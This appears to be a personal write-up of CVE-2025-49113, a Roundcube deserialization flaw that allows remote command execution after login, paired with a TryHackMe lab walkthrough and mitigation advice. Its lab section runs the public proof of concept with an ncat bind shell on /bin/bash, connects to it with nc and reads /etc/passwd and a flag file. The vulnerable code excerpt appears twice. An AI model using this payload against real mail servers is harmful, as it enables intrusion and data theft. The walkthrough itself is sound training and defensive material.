5kr1pt/roundcube_cve-2025-49113Explicação + Lab no THM
{{date}} {{time}}
Status: Completed
Lab: Easy
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
by KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Impact: remote command execution post-login (CVSS 9.9)
Affected versions: ≤ 1.5.10 / 1.6.10
Patched: 1.5.11 and 1.6.11
| Date | Event |
|---|
| ~2014 | Introduction of the route program/actions/settings/upload.php using session->append() without validation. |
| 03 jun 2025 | Researchers from @FearsOff publish the advisory and announce PoC. |
| 04 jun 2025 | Roundcube applies commit 0376f69 (1.6-stable) and commit 7408f31 (1.5-lts). |
| 06 jun 2025 | PoC published on github. (fearsoff-org/CVE-2025-49113) |
| 10 jun 2025 | Mass exploitation. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … more below
$rcmail->session->append($type . '.files', $id, $attachment);
The _from input arrives complete from GET then becomes part of a session node name and
during the first append(), Roundcube does:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … more below
$rcmail->session->append($type . '.files', $id, $attachment);
If the file exists, RCE worked.
Update immediately to ≥ 1.6.11 or ≥ 1.5.11.
If you cannot update, block any _from containing %22, %7C, !, . or control bytes via WAF, firewall or rewrite.
Disable dangerous functions (proc_open, exec, etc.) in php.ini.
Block uploads in the settings panel and monitor logs.
Created by tryhackme & strategos
Open the VM (MACHINE_IP) and the AttackBox.
Access http://MACHINE_IP/roundcube with:
user: ellieptic
password: ChangeMe123
This will work and log in normally:
After verifying everything is up, we will run the exploit. To do this, we access the PoC posted on github mentioned earlier and do a git clone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113
Using the payload is simple, just create the bind shell and point it to a port with the .php file following the usage below:
php CVE-2025-49113.php <site> <user> <password> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– The script logs in, injects the malicious PHP object into the _from parameter, as we said earlier, calls the upload.php endpoint and then forces logout to trigger
session_decode() → unserialize() → proc_open().
Sometimes it shows a CSRF error; ignore it and proceed to the next step,
because the command usually gets executed anyway.
If the bind shell worked, it is listening on port 1337 we specified, just connect to it now:
nc MACHINE_IP 1337
Shell obtained.
ByteTo solve this question we could cat /etc/passwd grepping for maggie's user, or simply doing an ls in /home
/etc?THM{ICE_CUBE_DESERIALISATION}To solve this, I did a cat /etc/flag* and luckily the file name was flag and with that we were able to capture it.
Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff write-up – https://fearsoff.org/research/roundcube
OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com